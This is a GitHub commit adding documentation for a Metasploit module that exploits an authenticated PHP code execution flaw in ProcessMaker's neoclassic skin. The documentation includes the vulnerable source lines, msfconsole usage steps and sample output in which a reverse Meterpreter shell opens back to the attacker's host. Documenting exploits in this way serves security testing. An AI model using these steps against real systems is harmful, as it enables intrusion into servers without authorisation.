Skip to content

Commit 4755107

Browse files
committed
Add documentation
1 parent 59ab73b commit 4755107

File tree

1 file changed

+93
-0
lines changed

1 file changed

+93
-0
lines changed
Lines changed: 93 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,93 @@
1+
## Description
2+
3+
This module exploits a PHP code execution vulnerability in the default *neoclassic* skin for [ProcessMaker Open Source](http://www.processmaker.com/) which allows any authenticated user to execute PHP code. The vulnerable skin is installed by default in version 2.x prior to 2.5.2 and cannot be removed via the web interface.
4+
5+
6+
## Vulnerable Application
7+
8+
ProcessMaker is an open source, workflow management software suite, which includes tools to automate your workflow, design forms, create documents, assign roles and users, create routing rules, and map an individual process quickly and easily. It's relatively lightweight and doesn't require any kind of installation on the client computer.
9+
10+
This module has been tested successfully on ProcessMaker Open Source versions 2.5.1, 2.5.0, 2.0.23 on Windows XP SP3; and version 2.0.45 on Debian Linux.
11+
12+
The vulnerability was patched in version 2.5.2.
13+
14+
Source and Installers:
15+
16+
* [ProcessMaker Open Source 2.0.x](https://sourceforge.net/projects/processmaker/files/ProcessMaker/2.0/)
17+
* [ProcessMaker Open Source 2.5.x](https://sourceforge.net/projects/processmaker/files/ProcessMaker/2.5/)
18+
19+
20+
## Technical Details
21+
22+
Several files within the default *neoclassic* skin allow authenticated users to supply a PHP function in the `action` parameter and arguments for the aforementioned function in the `params` parameter. The application calls the supplied function name with the supplied parameters resulting in execution of arbitrary user supplied PHP code.
23+
24+
The relevant source code for the affected files is shown below.
25+
26+
**appFolder/appFolderAjax.php**
27+
28+
```php
29+
if (($_REQUEST['action']) != 'rename') {
30+
$functionName = $_REQUEST ['action'];
31+
$functionParams = isset ($_REQUEST ['params']) ? $_REQUEST ['params'] : array ();
32+
$functionName ($functionParams);
33+
```
34+
35+
**cases/casesStartPage_Ajax.php**
36+
37+
```php
38+
$functionName = $_REQUEST['action'];
39+
$functionParams = isset( $_REQUEST['params'] ) ? $_REQUEST['params'] : array ();
40+
$functionName( $functionParams );
41+
```
42+
43+
**cases/cases_SchedulerGetPlugins.php**
44+
45+
```php
46+
$functionName = $_REQUEST['action'];
47+
$functionParams = isset( $_REQUEST['params'] ) ? $_REQUEST['params'] : array ();
48+
$functionName( $functionParams );
49+
```
50+
51+
52+
## Verification Steps
53+
54+
1. Start `msfconsole`
55+
2. Do: `use exploit/multi/http/processmaker_exec`
56+
3. Do: `set username [USER]`
57+
4. Do: `set password [PASS]`
58+
5. Do: `set rhost [IP]`
59+
6. Do: `run`
60+
7. You should get a session
61+
62+
63+
## Sample Output
64+
65+
```
66+
msf exploit(processmaker_exec) > check
67+
[*] 192.168.172.135:80 - Authenticating as user 'admin'
68+
[+] 192.168.172.135:80 - Authenticated as user 'admin'
69+
[*] 192.168.172.135:80 - Sending check
70+
[+] The target is vulnerable.
71+
72+
msf exploit(processmaker_exec) > exploit
73+
[*] Started reverse handler on 192.168.172.1:4444
74+
[*] 192.168.172.135:80 - Authenticating as user 'admin'
75+
[+] 192.168.172.135:80 - Authenticated as user 'admin'
76+
[*] 192.168.172.135:80 - Sending payload 'V7hd5EevO9Ho.php' (1795 bytes)
77+
[+] 192.168.172.135:80 - Payload sent successfully
78+
[*] 192.168.172.135:80 - Retrieving file 'V7hd5EevO9Ho.php'
79+
[*] Sending stage (39195 bytes) to 192.168.172.135
80+
[*] Meterpreter session 3 opened (192.168.172.1:4444 -> 192.168.172.135:32789) at 2013-10-29 09:53:08 -0500
81+
[+] Deleted V7hd5EevO9Ho.php
82+
83+
^C[-] Exploit failed: Interrupt
84+
85+
meterpreter > getuid
86+
Server username: www-data (33)
87+
meterpreter > sysinfo
88+
Computer : processmaker
89+
OS : Linux processmaker 3.2.0-4-amd64 #1 SMP Debian 3.2.51-1 x86_64
90+
Meterpreter : php/php
91+
meterpreter > exit
92+
```
93+

0 commit comments

Comments
 (0)